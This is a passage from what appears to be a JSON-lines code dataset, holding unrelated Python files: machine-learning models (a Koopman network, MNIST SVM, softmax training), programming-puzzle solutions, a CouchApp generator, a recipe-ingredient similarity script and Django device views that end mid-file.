koopman_aux_net(tf.keras.layers.Layer):\n \n def __init__(self, parameter_list):\n super(koopman_aux_net, self).__init__()\n self.width = parameter_list['kaux_width']\n self.units = parameter_list['kaux_units']\n self.koopman_layer_real = []\n self.koopman_layer_complex = []\n self.output_units_real = parameter_list['kaux_output_units_real']\n self.output_units_complex = parameter_list['kaux_output_units_complex']\n \n def build(self, input_shape):\n if self.output_units_real:\n for i in range(self.width):\n self.koopman_layer_real.append(tf.keras.layers.Dense(units= self.units, activation= None))\n self.koopman_layer_real.append(tf.keras.layers.LeakyReLU(alpha= 0.3))\n \n self.koopman_layer_real.append(tf.keras.layers.Dense(units= self.output_units_real, activation= None))\n self.koopman_layer_real.append(tf.keras.layers.LeakyReLU(alpha= 0.3))\n\n self.real_layers = tf.keras.Sequential(self.koopman_layer_real)\n \n if self.output_units_complex:\n for i in range(self.width):\n self.koopman_layer_complex.append(tf.keras.layers.Dense(units= self.units,\n activation= None))\n #kernel_regularizer = tf.keras.regularizers.l2(0.01)))\n self.koopman_layer_complex.append(tf.keras.layers.LeakyReLU(alpha= 0.3))\n \n self.koopman_layer_complex.append(tf.keras.layers.Dense(units= self.output_units_complex, \n activation= None))\n #kernel_regularizer = tf.keras.regularizers.l2(0.01)))\n self.koopman_layer_complex.append(tf.keras.layers.LeakyReLU(alpha= 0.3))\n\n self.complex_layers = tf.keras.Sequential(self.koopman_layer_complex)\n \n def call(self, inputs):\n \n x = 0\n y = 0\n # print(f'Calling Koopan_aux_net with input shape {inputs.shape}')\n input_real, input_complex = tf.split(inputs, [self.output_units_real, self.output_units_complex], axis= 2)\n \n if input_real.shape[2]:\n x = self.real_layers(input_real)\n\n if input_complex.shape[2]:\n y = self.complex_layers(input_complex)\n \n if x:\n if y:\n return tf.concat([x, y], axis=2)\n else:\n return x\n else:\n return y\n \n def get_config(self):\n configuration = {'Units' : self.units,\n 'Width' : f'Dense layer {self.width}',\n 'Output' : f'Output_real = {self.output_units_real} + Output_complex = {self.output_units_complex}'}\n return configuration\n\n#Code for Koopman Jordarn matrix, input to the layer would be the concatenated omegas for real and complex \n#eigenvalues and Koopman embddings (y) from the encoder layer\n\nclass koopman_jordan(tf.keras.layers.Layer):\n \n def __init__(self, parameter_list):\n super(koopman_jordan, self).__init__()\n self.omegas_real = parameter_list['num_real']\n self.omegas_complex = parameter_list['num_complex_pairs'] * 2\n self.delta_t = parameter_list['delta_t']\n \n def call(self, inputs):\n \n # print(f'Calling koopman_jordan with input shape {inputs.shape}')\n omegas_real_vec, omegas_complex_vec, y = tf.split(inputs, [self.omegas_real, self.omegas_complex, self.omegas_real + self.omegas_complex], axis= 2)\n y_real, y_complex = tf.split(y, [self.omegas_real, self.omegas_complex], axis= 2)\n \n scale_real = tf.exp(omegas_real_vec * self.delta_t)\n y_real_tensor = tf.multiply(scale_real, y_real)\n \n y_complex_out = []\n \n for i in range(int(self.omegas_complex/2)):\n index = i * 2\n \n scale_complex = tf.exp(omegas_complex_vec[:, :, index:index + 1] * self.delta_t)\n entry_1 = tf.multiply(scale_complex, tf.cos(omegas_complex_vec[:, :, index + 1: index + 2] * self.delta_t))\n entry_2 = tf.multiply(scale_complex, tf.sin(omegas_complex_vec[:, :, index + 1: index + 2] * self.delta_t))\n row_1 = tf.stack([entry_1, -entry_2], axis=2)\n row_1 = tf.reshape(row_1, [row_1.shape[0], row_1.shape[1], row_1.shape[2]])\n \n row_2 = tf.stack([entry_2, entry_1], axis=2)\n row_2 = tf.reshape(row_2, [row_2.shape[0], row_2.shape[1], row_2.shape[2]])\n \n jordan_matrix = tf.stack([row_1, row_2], axis = 3)\n \n y_jordan_output = tf.stack([y[:, :, index:index+2], y[:, :, index:index+2]], axis = 3)\n y_jordan_output = tf.multiply(jordan_matrix, y_jordan_output)\n y_jordan_output = tf.reduce_sum(y_jordan_output, axis=3)\n \n y_complex_out.append(y_jordan_output)\n \n for i in range(len(y_complex_out)):\n if i == 0:\n y_complex_tensor = y_complex_out[i]\n else:\n y_complex_tensor = tf.concat([y_complex_tensor, y_complex_out[i]], axis= 2)\n \n return tf.concat([y_real_tensor, y_complex_tensor], axis = 2)\n\nclass preliminary_net(tf.keras.layers.Layer):\n\n def __init__(self, parameter_list, **kwargs):\n super(preliminary_net, self).__init__()\n self.encoder = encoder(parameter_list)\n self.koopman_aux_net = koopman_aux_net(parameter_list)\n self.koopman_jordan = koopman_jordan(parameter_list)\n self.decoder = decoder(parameter_list)\n\n def call(self, inputs):\n\n #This part contributes towards the (n+1)th prediction loss from nth\n k_embeddings_cur = self.encoder(inputs)\n\n k_omegas = self.koopman_aux_net(k_embeddings_cur)\n k_jordan_input = tf.concat([k_omegas, k_embeddings_cur], axis= 2)\n k_jordan_output = self.koopman_jordan(k_jordan_input)\n\n next_state_space = self.decoder(k_jordan_output) + inputs\n \n input_reconstruct = self.decoder(k_embeddings_cur)\n \n return next_state_space, input_reconstruct, k_embeddings_cur, k_jordan_output\n\n#Code for creating the network model\nclass Koopman_RNN(tf.keras.Model):\n\n def __init__(self, parameter_list, **kwargs):\n super(Koopman_RNN, self).__init__()\n self.preliminary_net = preliminary_net(parameter_list)\n self.mth_step = tf.constant(parameter_list['mth_step'])\n\n def call(self, inputs, cal_mth_loss = False):\n\n next_state_space, input_reconstruct, k_embeddings_cur, k_jordan_output = self.preliminary_net(inputs)\n \n #This part contributes towards the mth prediction loss\n for_mth_iterations = tf.constant(inputs.shape[1] - self.mth_step)\n if tf.constant(cal_mth_loss):\n print(\"Tracing `then` branch\")\n inputs_for_mth = inputs[:,:for_mth_iterations,:] \n next_state_space_mth = tf.zeros_like(inputs_for_mth)\n \n for i in tf.range(self.mth_step):\n next_state_space_mth, _, _, _ = self.preliminary_net(inputs_for_mth)\n inputs_for_mth = next_state_space_mth\n\n next_state_space_mth = inputs_for_mth\n else:\n print(\"Tracing `else` branch\")\n next_state_space_mth = tf.constant(0, dtype=tf.float32)\n\n return next_state_space, input_reconstruct, k_embeddings_cur[:,1:,:], k_jordan_output[:,0:-1,:], next_state_space_mth","sub_path":"network_arch.py","file_name":"network_arch.py","file_ext":"py","file_size_in_byte":10398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"466624514","text":"# -*- coding: utf-8 -*-\n#\n# Copyright 2008,2009 Alexander Lang (alex@upstre.am), Frank Prößdorf (fp@notjusthosting.com)\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at#\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\nimport glob\nimport re\nimport os\nimport sys\nimport json\n\nfrom couchappext import pystache\nfrom couchappext.inflector.Inflector import Inflector\n\nclass ResourceGenerator(object):\n template_dir = ''\n \n def __init__(self, _template_dir, ui):\n self.cli = Cli(sys.stdin, sys.stdout)\n self.ui = ui\n self.inflector = Inflector()\n pystache.Template.ctag = '%>'\n pystache.Template.otag = '<%'\n self.template_dir = _template_dir\n \n def generate(self, path, name, options):\n \"\"\" Generates a complete CRUD app for a given resource name.\n\n :attr path: path to the application \n :attr name: singular name with underscore of the resource to create, e.g. blog_post\n :attr options: must contain the attributes for the resource as a string, \n separated by commas, e.g. {'attributes': 'title,author,body'}\n \"\"\"\n if options['attributes'] == '':\n self.cli.tell('No attributes given. Please add --attributes att1,att2...')\n return\n \n view = self.prepare_view(name, options['attributes'])\n\n for template_path in self.templates():\n in_app_path_template = template_path.replace(self.template_dir + '/', '')\n in_app_path = pystache.render(in_app_path_template, view)\n if os.path.isdir(template_path):\n self.process_directory(path, in_app_path)\n else:\n self.process_file(template_path, view, path, in_app_path)\n self.generate_apprc(path)\n \n def templates(self):\n \"\"\" Fetch all the available templates from sub-directories recursively \"\"\"\n return glob.glob(os.path.join(self.template_dir, '*', '*')) + \\\n glob.glob(os.path.join(self.template_dir, '*', '*', '*'))\n\n def process_file(self, template_path, view, path, in_app_path):\n \"\"\" Update the contents of template_path with the given template and view \"\"\"\n template = self.read_file(template_path)\n contents = pystache.render(template, view)\n self.mkdir_f(os.path.join(path, os.path.dirname(in_app_path)))\n if os.path.exists(os.path.join(path, in_app_path)) and not(self.cli.ask(\"really overwrite %s?\" % in_app_path)):\n self.cli.tell(\"skipping %s.\" % in_app_path)\n else:\n self.cli.tell(\"creating %s.\" % in_app_path)\n self.write_file(os.path.join(path, in_app_path), contents)\n \n def prepare_view(self, name, attributes):\n \"\"\" Create a hash that enables us to render the mustache templates \"\"\"\n plural_name = self.inflector.pluralize(name)\n view = {\n 'plural_name': plural_name, 'singular_name': name,\n 'plural_label': self.inflector.titleize(plural_name),\n 'singular_label': self.inflector.titleize(name),\n 'app_name': self.app_name()\n }\n attributes_view = map(self.create_attribute, attributes.split(','))\n for attribute in attributes_view:\n attribute['singular_name'] = name\n attribute['plural_name'] = plural_name\n view['attributes'] = attributes_view\n view['first_attribute'] = [attributes_view[0]]\n return view\n \n\n def create_attribute(self, attribute):\n \"\"\" Create a hash describing the attribute \"\"\"\n return {\n 'name': attribute,\n 'label': attribute.capitalize(),\n 'class': attribute\n }\n \n def process_directory(self, path, in_app_path):\n if not os.path.exists(os.path.join(path, in_app_path)):\n self.cli.tell(\"creating %s.\" % in_app_path)\n self.mkdir_f(os.path.join(path, in_app_path))\n else:\n self.cli.tell(\"skipping %s. exists.\" % in_app_path)\n \n def mkdir_f(self, path):\n if not os.path.exists(path):\n os.makedirs(path)\n\n def read_file(self, path):\n f = open(path, 'r')\n contents = f.read()\n f.close()\n return contents\n\n def write_file(self, path, contents):\n f = open(path, 'w')\n f.write(contents)\n f.close()\n \n def generate_apprc(self, app_path):\n rcpath = os.path.join(app_path, '.couchapprc')\n if os.path.isfile(rcpath):\n conf = json.loads(self.read_file(rcpath))\n else:\n conf = {'env': {}}\n if not('env' in conf and 'test' in conf['env'] and 'db' in conf['env']['test']):\n conf['env']['test'] = {'db': 'http://localhost:5984/%s_test/' % self.app_name()}\n self.write_file(rcpath, json.dumps(conf))\n\n def app_name(self):\n return self.ui.get_app_name(None, None)\n \nclass Cli(object):\n def __init__(self, _in, _out):\n self.inIO = _in\n self.outIO = _out\n \n def ask(self, question):\n self.outIO.write(question + \" [y/n]: \")\n answer = self.inIO.readline()\n if answer == \"y\\n\":\n return True\n elif answer == \"n\\n\":\n return False\n else:\n self.ask(question)\n \n def tell(self, statement):\n self.outIO.write(statement + \"\\n\")","sub_path":"couchapp/resource_generator.py","file_name":"resource_generator.py","file_ext":"py","file_size_in_byte":5851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"577069131","text":"'''\r\n$ python D:/Tools/testps.py --ps_hosts=J-CHEN-PCG:2222 --worker_hosts=J-CHEN-PC:2223 --job_name=ps --task_index=0\r\n$ python D:/Tools/testps.py --ps_hosts=J-CHEN-PCG:2222 --worker_hosts=J-CHEN-PC:2223 --job_name=worker --task_index=0\r\n$ python D:/Tools/testps.py --ps_hosts=localhost:2222 --worker_hosts=localhost:2223,localhost:2224 --job_name=worker --task_index=1 --serving_mode=true\r\n'''\r\n\r\nimport argparse\r\nimport sys\r\nimport time\r\n\r\nimport tensorflow as tf\r\n\r\ndef main(_):\r\n ps_hosts = FLAGS.ps_hosts.split(\",\")\r\n worker_hosts = FLAGS.worker_hosts.split(\",\")\r\n \r\n # Create a cluster from the parameter server and worker hosts.\r\n cluster = tf.train.ClusterSpec({\"ps\": ps_hosts, \"worker\": worker_hosts})\r\n\r\n # Create and start a server for the local task.\r\n server = tf.train.Server(cluster, job_name=FLAGS.job_name, task_index=FLAGS.task_index)\r\n \t\r\n if FLAGS.job_name == \"ps\":\r\n server.join()\r\n\r\n elif FLAGS.job_name == \"worker\":\r\n\r\n variable_initializer = tf.random_uniform_initializer(-0.05, 0.05)\r\n bytes_per_term_bucket = 12 * 4\r\n term_hash_bucket_size = int(10 * 1024 * 1024 * 1024 / bytes_per_term_bucket)\r\n W_term_embeddings = tf.get_variable(\"W_term_embeddings\", [term_hash_bucket_size, 12], dtype=tf.float32, initializer=variable_initializer)\r\n global_var_init_op = tf.variables_initializer(tf.global_variables())\r\n sess_config = tf.ConfigProto(\r\n device_filters=['/job:ps', '/job:worker/task:%d' % 0],\r\n allow_soft_placement=True,\r\n graph_options=tf.GraphOptions(enable_bfloat16_sendrecv=True))\r\n sess = tf.Session(target=server.target, config=sess_config)\r\n #sess.run([global_var_init_op], options=tf.RunOptions(timeout_in_ms=600 * 1000, trace_level=tf.RunOptions.FULL_TRACE), run_metadata=tf.RunMetadata())\r\n #print(\"Successfully initialized\")\r\n #sess.run(tf.scatter_add(W_term_embeddings, term_hash_bucket_size - 1, [-0.3, -9.0, -12.1, 12.0, 1.0, 6.0, 3.0, 0.34, 3.9, 0.89, 0.13, 0.398090]))\r\n print(sess.run(tf.gather(W_term_embeddings, term_hash_bucket_size - 1)))\r\n\r\nif __name__ == \"__main__\":\r\n parser = argparse.ArgumentParser()\r\n parser.register(\"type\", \"bool\", lambda v: v.lower() == \"true\")\r\n # Flags for defining the tf.train.ClusterSpec\r\n parser.add_argument(\r\n \"--ps_hosts\",\r\n type=str,\r\n default=\"\",\r\n help=\"Comma-separated list of hostname:port pairs\"\r\n )\r\n parser.add_argument(\r\n \"--worker_hosts\",\r\n type=str,\r\n default=\"\",\r\n help=\"Comma-separated list of hostname:port pairs\"\r\n )\r\n parser.add_argument(\r\n \"--job_name\",\r\n type=str,\r\n default=\"\",\r\n help=\"One of 'ps', 'worker'\"\r\n )\r\n # Flags for defining the tf.train.Server\r\n parser.add_argument(\r\n \"--task_index\",\r\n type=int,\r\n default=0,\r\n help=\"Index of task within the job\"\r\n )\r\n parser.add_argument(\r\n \"--serving_mode\",\r\n type=bool,\r\n default=False,\r\n help=\"Index of task within the job\"\r\n )\r\n FLAGS, unparsed = parser.parse_known_args()\r\n tf.app.run(main=main, argv=[sys.argv[0]] + unparsed)","sub_path":"AI/testps.py","file_name":"testps.py","file_ext":"py","file_size_in_byte":3066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"612044274","text":"#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n# Complete the dayOfProgrammer function below.\ndef dayOfProgrammer(year):\n\n if 1700 <= year <= 2700:\n \n if year == 1918:\n date = '26.09.1918'\n \n else:\n \n if year >= 1919:\n if (year%4 == 0 and year%100 != 0) or (year%400 == 0):\n is_leap_year = True\n \n else:\n is_leap_year = False\n \n elif year <= 1917:\n \n if year%4 == 0:\n is_leap_year = True\n \n else:\n is_leap_year = False\n \n if is_leap_year:\n date = '12.09.'+str(year)\n\n else:\n date = '13.09.'+str(year)\n \n return date\n \nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n year = int(input().strip())\n\n result = dayOfProgrammer(year)\n\n fptr.write(result + '\\n')\n\n fptr.close()\n","sub_path":"problem_solving/dayOfProgrammer.py","file_name":"dayOfProgrammer.py","file_ext":"py","file_size_in_byte":1101,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"240130008","text":"import numpy as np\nimport json\nimport pprint as pp\n\nfrom anytree import RenderTree\nfrom zss import *\n\nfrom retrieve_recipes import *\nfrom im2recipe_w2v_weight import *\n\nrecipes = get_recipes_json('chocochip') #list\n\ndef print_tree(tree):\n for pre, fill, node in RenderTree(tree):\n print(\"%s%s\" % (pre, node.label))\n\n \n#pairwise Jaccard Sim\n\nfrom operator import add\n\nimport re\nimport json\nimport nltk\nfrom NYTtagger.lib.training import utils\nfrom string import punctuation\n\nimport pycrfsuite\ntagger = pycrfsuite.Tagger()\ntagger.open('NYTtagger/tmp/trained_pycrfsuite')\n\n\nfrom nltk.tokenize import PunktSentenceTokenizer\n\ntokenizer = PunktSentenceTokenizer()\n\ndef sent2labels(sent):\n return [word[-1] for word in sent]\n\ndef sent2features(sent):\n return [word[:-1] for word in sent]\n\ndef sent2tokens(sent):\n return [word[0] for word in sent] \n\ndef get_sentence_features(sent):\n \"\"\"Gets the features of the sentence\"\"\"\n sent_tokens = list(utils.tokenize(utils.cleanUnicodeFractions(sent)))\n\n sent_features = []\n for i, token in enumerate(sent_tokens):\n token_features = [token]\n token_features.extend(utils.getFeatures(token, i+1, list(sent_tokens)))\n sent_features.append(token_features)\n return sent_features\n\ndef format_ingredient_output(tagger_output, display=False):\n \"\"\"Formats the tagger output into a more convenient dictionary\"\"\"\n data = [{}]\n display = [[]]\n prevTag = None\n\n for token, tag in tagger_output:\n # turn B-NAME/123 back into \"name\"\n# tag = re.sub(r'^[BI]\\-', \"\", tag).lower()\n\n # ---- DISPLAY ----\n # build a structure which groups each token by its tag, so we can\n # rebuild the original display name later.\n\n if prevTag != tag:\n display[-1].append((tag, [token]))\n prevTag = tag\n else:\n display[-1][-1][1].append(token)\n # ^- token\n # ^---- tag\n # ^-------- ingredient\n\n # ---- DATA ----\n # build a dict grouping tokens by their tag\n\n # initialize this attribute if this is the first token of its kind\n if tag not in data[-1]:\n data[-1][tag] = []\n\n # HACK: If this token is a unit, singularize it so Scoop accepts it.\n if tag == \"unit\":\n token = utils.singularize(token)\n\n data[-1][tag].append(token)\n\n # reassemble the output into a list of dicts.\n output = [\n dict([(k, utils.smartJoin(tokens)) for k, tokens in ingredient.items()])\n for ingredient in data\n if len(ingredient)\n ]\n\n # Add the raw ingredient phrase\n for i, v in enumerate(output):\n output[i][\"input\"] = utils.smartJoin(\n [\" \".join(tokens) for k, tokens in display[i]])\n\n return output\n\ndef parse_ingredient(sent):\n \"\"\"ingredient parsing logic\"\"\"\n sentence_features = get_sentence_features(sent)\n tags = tagger.tag(sentence_features)\n tagger_output = zip(sent2tokens(sentence_features), tags)\n parsed_ingredient = format_ingredient_output(tagger_output)\n if parsed_ingredient:\n parsed_ingredient[0]['name'] = parsed_ingredient[0].get('name','').strip('.')\n return parsed_ingredient\n\ndef parse_recipe_ingredients(ingredient_list):\n \"\"\"Wrapper around parse_ingredient so we can call it on an ingredient list\"\"\"\n sentences = tokenizer.tokenize(ingredient_list)\n sentences = [sent.strip('\\n') for sent in sentences]\n ingredients = []\n for sent in sentences:\n ingredients.extend(parse_ingredient(sent))\n return ingredients\n\ningre_lists = []\n\nfor recipe in recipes: \n ingre_str = \". \".join(recipe['ingredients'])\n parsed_ingre_list = parse_recipe_ingredients(ingre_str)\n \n ingre_store = []\n for ingre in parsed_ingre_list:\n if not \"I-NAME\" in ingre:\n ingre[\"I-NAME\"] = \"\"\n if not \"B-NAME\" in ingre:\n ingre[\"B-NAME\"] = \"\"\n ingre_text = ingre['B-NAME'] + \" \"+ ingre[\"I-NAME\"]\n ingre_store.append(ingre_text)\n \n #print(ingre_store)\n item={\"id\":recipe['origin_id'], \"ingredients\": ingre_store}\n ingre_lists.append(item)\n\n\ndim = len(ingre_lists)\ningre_dist_matrix = np.zeros((dim, dim))\n\nfrom math import*\n \ndef jaccard_similarity(x,y):\n intersection_cardinality = len(set.intersection(*[set(x), set(y)]))\n union_cardinality = len(set.union(*[set(x), set(y)]))\n return intersection_cardinality/float(union_cardinality)\n\nfor i in range(dim):\n for j in range(i+1,dim):\n jac_sim = jaccard_similarity(ingre_lists[i]['ingredients'], ingre_lists[j]['ingredients'])\n ingre_dist_matrix[i][j]=jac_sim\n\nmat = np.matrix(ingre_dist_matrix)\nmat.dump(\"ingre_dist_matrix.dat\")\n#mat2 = numpy.load(\"my_matrix.dat\")","sub_path":"ingredient_jac_sim.py","file_name":"ingredient_jac_sim.py","file_ext":"py","file_size_in_byte":4802,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"17611819","text":"from Tkinter import *\nclass Example(Frame):\n def __init__(self, parent):\n Frame.__init__(self, parent)\n self.parent = parent\n self.initUI()\n\n def initUI(self):\n self.pack(fill=BOTH, expand=True)\n self.canvas = Canvas(self, bg='white')\n self.canvas.pack(fill=BOTH, expand=True)\n\ndef main():\n root = Tk()\n root.geometry(\"600x400+200+200\")\n app = Example(root)\n root.mainloop()\n\nif __name__ == '__main__':\n main()","sub_path":"PyCharm_Projects/Yeni klasör/ENGR 212 01/PracticeSessions-codes/Week 04/Draggable.Part1.py","file_name":"Draggable.Part1.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"389334158","text":"import itertools\ndef byteLand():\n T=int(input())\n for i in range(T) :\n n,m=input().split()\n n=int(n)\n m=int(m)\n citizen=[]\n for s in range(n) :\n k =int(input())\n citizen.append(k)\n flag=0\n for j in range(1,n+1) :\n list1=list(itertools.combinations(citizen,j))\n for k in list1 :\n k=list(k)\n k=list(map(int,k))\n add=sum(k)\n if (add==m) :\n print('Yes')\n flag=1\n break\n if(flag == 1):\n break\n if flag==0 :\n print('No')\nbyteLand()\n","sub_path":"byteLand.py","file_name":"byteLand.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"309280298","text":"# -*- coding: UTF-8 -*-\n\ndef algo(inp):\n\ta = inp.int\n\tb = inp.int\n\tc = inp.int\n\tk = min(inp.int, c)\n\tres = []\n\tn = 0\n\trefc = []\n\tfor i in range(b):\n\t\trefc.append(i)\n\tfor refa in range(a):\n\t\tfor refb in range(b):\n\t\t\tfor _ in range(k):\n\t\t\t\tres.append([str(refa+1), str(refb+1), str(refc[refb]+1)])\n\t\t\t\trefc[refb] = (refc[refb]+1) % c\n\t\t\t\tn += 1\n\tprint(res)\n\tress = [str(n)]\n\tprint(ress)\n\tfor x in res:\n\t\tress.append(' '.join(x))\n\treturn '\\n'.join(ress)\n\n########################\n# Miscaleanous\n########################\n\nfrom fractions import Fraction\n\ndef cmp_f(x, y):\n \"\"\"Returns True iff y is within relative or absolute 'epsilon' of x.\n\n By default, 'epsilon' is 1e-6.\n \"\"\"\n epsilon = 0.00000001\n # Check absolute precision.\n if -epsilon <= x - y <= epsilon:\n return True\n\n # Is x or y too close to zero?\n if -epsilon <= x <= epsilon or -epsilon <= y <= epsilon:\n return False\n\n # Check relative precision.\n return (-epsilon <= (x - y) / x <= epsilon\n or -epsilon <= (x - y) / y <= epsilon)\n\n\n########################\n# Parsing functions\n########################\n\ndef read_elements(lines):\n\tfor s in lines:\n\t\tfor i in s.split(): yield i\n\nclass TextGen(object):\n\tdef __init__(self,filename):\n\t\twith open(filename,'r') as fichier:\n\t\t\tlines = fichier.readlines()\n\t\t\tself.data = read_elements(lines)\n\n\t@property\n\tdef int(self): return int(next(self.data))\n\t@property\n\tdef str(self): return str(next(self.data))\n\t@property\n\tdef float(self): return float(next(self.data))\n\t@property\n\tdef frac(self): return Fraction(float(next(self.data)))\n\t\n\n########################\n# Running...\n########################\n\ninname = input(\"File name ?\\n\")\ninfile = \"%s.in\" % inname\noutfile = \"%s.out\" % inname\n\ninp = TextGen(infile)\ncases = inp.int\nwith open(outfile,'w') as outdata:\n\tfor case in range(1, cases+1):\n\t\tprint(\"Starting case %d...\" % case)\n\t\toutdata.write(\"Case #%d: %s\\n\" % (case, algo(inp)))\n\t\tprint()\n","sub_path":"solutions_5708921029263360_0/Python/GiB/c.py","file_name":"c.py","file_ext":"py","file_size_in_byte":1918,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"392275505","text":"import pandas \nimport numpy as np\nfrom sklearn import svm,preprocessing\nfrom sklearn.decomposition import PCA\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.cross_validation import cross_val_predict,train_test_split,cross_val_score\nverbose = True\ntamanho = 10000\ndata = pandas.read_csv(open('MNIST/besttrain.csv')).sample(tamanho)\nlabels = list( data.columns.values)\ndel labels[0]\nX = preprocessing.scale(data[labels])\npca = PCA(n_components=49)\nX = pca.fit_transform(X)\nY = data['label']\nalg = svm.LinearSVC(verbose=verbose)\nalg.fit(X,Y)\nres = alg.predict(X)\n# res = cross_val_predict(alg,X,Y).astype(int)\nperc = accuracy_score(res,data['label'])\nhits = (res==data['label']).sum()\nprint('acertos {}, total {}%'.format(hits,perc*100))\n\ndata_test = pandas.read_csv(open('MNIST/test.csv'))\ndata_test = preprocessing.scale(data_test)\ndata_test = pca.transform(data_test)\nfinal = alg.predict((data_test))\nsubmission = pandas.DataFrame({\n\t'ImageId' : range(1,28001),\n\t'Label' : final.astype(int)\n\t})\nsubmission.to_csv('sub.csv')","sub_path":"mnist_linearSVC.py","file_name":"mnist_linearSVC.py","file_ext":"py","file_size_in_byte":1082,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"96661712","text":"class Solution:\n def isInterleave(self, s1: str, s2: str, s3: str) -> bool:\n n1, n2, n3 = len(s1), len(s2), len(s3)\n if n1 + n2 != n3:\n return False\n dp = [[False for j in range(n2 + 1)] for i in range(n1 + 1)]\n dp[0][0] = True\n for i in range(1, n1 + 1):\n dp[i][0] = dp[i - 1][0] & (s1[i - 1] == s3[i - 1])\n for i in range(1, n2 + 1):\n dp[0][i] = dp[0][i - 1] & (s2[i - 1] == s3[i - 1])\n for i in range(1, n1 + 1):\n for j in range(1, n2 + 1):\n if s3[i + j - 1] != s1[i - 1] and s3[i + j - 1] != s2[j - 1]:\n continue\n if s3[i + j - 1] == s1[i - 1]:\n dp[i][j] |= dp[i - 1][j]\n if s3[i + j - 1] == s2[j - 1]:\n dp[i][j] |= dp[i][j - 1]\n return dp[n1][n2]\n\n\ns = Solution()\nprint(s.isInterleave(\"aabcc\", \"dbbca\", \"aadbbcbcac\"))\n","sub_path":"leetcode/2021/interleaving-string.py","file_name":"interleaving-string.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"208746678","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport myNN as nn\nimport sys\nimport plot_boundary_on_data\n\n# load data\ndata = np.load(sys.argv[1])\nX = data['X']\nY = data['Y']\nK = np.unique(Y).size\n\n\n# define a 2-layer softmax network. First layer is a fully connected layer with\n# K output nodes. The second layer is a \"softmax + cross-entropy\" layer. \nnetwork = [\n [nn.fc, [np.random.rand(X.shape[1],K), np.random.rand(1,K)]], # first layer\n [nn.softmax_cross_entropy, Y] # second layer\n ]\n\n# train it\nnetwork, loss_vals = nn.train(network, X, Y, .1, 1000)\n\n\n# training finished, now replace the last layer with softmax without the\n# cross-entropy loss\nnetwork[-1][0] = nn.softmax_readout\n\npredicted_class = nn.evaluate(network, X)\nprint('training accuracy: %.2f' % (np.mean(predicted_class == Y)))\n\nplot_boundary_on_data.plot(X, Y, lambda x: nn.evaluate(network, x))\n\nfig = plt.figure()\nplt.plot(loss_vals)\n\nplt.show()\n","sub_path":"783 -DEEP LEARNING/783/hw2/run_softmax.py","file_name":"run_softmax.py","file_ext":"py","file_size_in_byte":954,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"205585463","text":"import matplotlib.pyplot as plt\n\ndef hist(data, fsize=(12, 5)):\n plt.figure(figsize = fsize)\n plt.hist( data.flatten(), 100, log=1 )\n\ndef show(data, cmin=0, cmax=1, cmap='viridis', fsize=(14, 12), x=[], y=[],\n pad=None, fname=None):\n plt.figure(figsize = fsize)\n imgplot = plt.imshow( data, interpolation='none' )\n imgplot.set_clim(cmin, cmax)\n imgplot.set_cmap(cmap)\n plt.colorbar()\n if len(x) and len(y):\n plt.plot(x, y, 'r', scalex=False, scaley=False)\n if pad:\n plt.tight_layout(pad=pad)\n if fname:\n plt.savefig(fname)\n","sub_path":"python/atlaas/helpers/matplot.py","file_name":"matplot.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"107545170","text":"import datetime\n\nfrom django.shortcuts import render\nfrom django.utils import timezone\nfrom rest_framework import viewsets\nfrom rest_framework.permissions import AllowAny\n\nfrom animals.models import EJournalRecord, Animal\nfrom devices.models import Device, FoodLoadCell, PetWeightLoadCell, AmbientTemperature\nfrom devices.serializers import DeviceSerializer, FoodLoadCellSerializer, PetWeightLoadCellSerializer, \\\n AmbientTemperatureSerializer\n\n\ndef find_the_latest_ej_record(animal, date):\n return EJournalRecord.objects.filter(\n animal=animal,\n appointed_date_time__lte=date + timezone.timedelta(hours=2),\n resultative_food_eaten__isnull=True\n ).order_by('appointed_date_time').first()\n\n\nclass DeviceViewSet(viewsets.ModelViewSet):\n queryset = Device.objects.all()\n serializer_class = DeviceSerializer\n permission_classes = (AllowAny,)\n http_method_names = ['get']\n\n\nclass FoodLoadCellViewSet(viewsets.ModelViewSet):\n queryset = FoodLoadCell.objects.all()\n serializer_class = FoodLoadCellSerializer\n permission_classes = (AllowAny,)\n http_method_names = ['get', 'post', 'delete']\n\n def get_queryset(self):\n if self.request.user.is_anonymous:\n return FoodLoadCell.objects.all()\n user = self.request.user\n return FoodLoadCell.objects.filter(device__animal__custom_user=user)\n\n def create(self, request, *args, **kwargs):\n device = Device.objects.get(pk=int(request.POST['device']))\n ej_record = find_the_latest_ej_record(device.animal.pk, timezone.now())\n if int(request.POST['food_weight']) < ej_record.min_food_eaten:\n try:\n\n users = device.animal.custom_user.all()\n\n for user in users:\n message = 'Pet feeding warning: 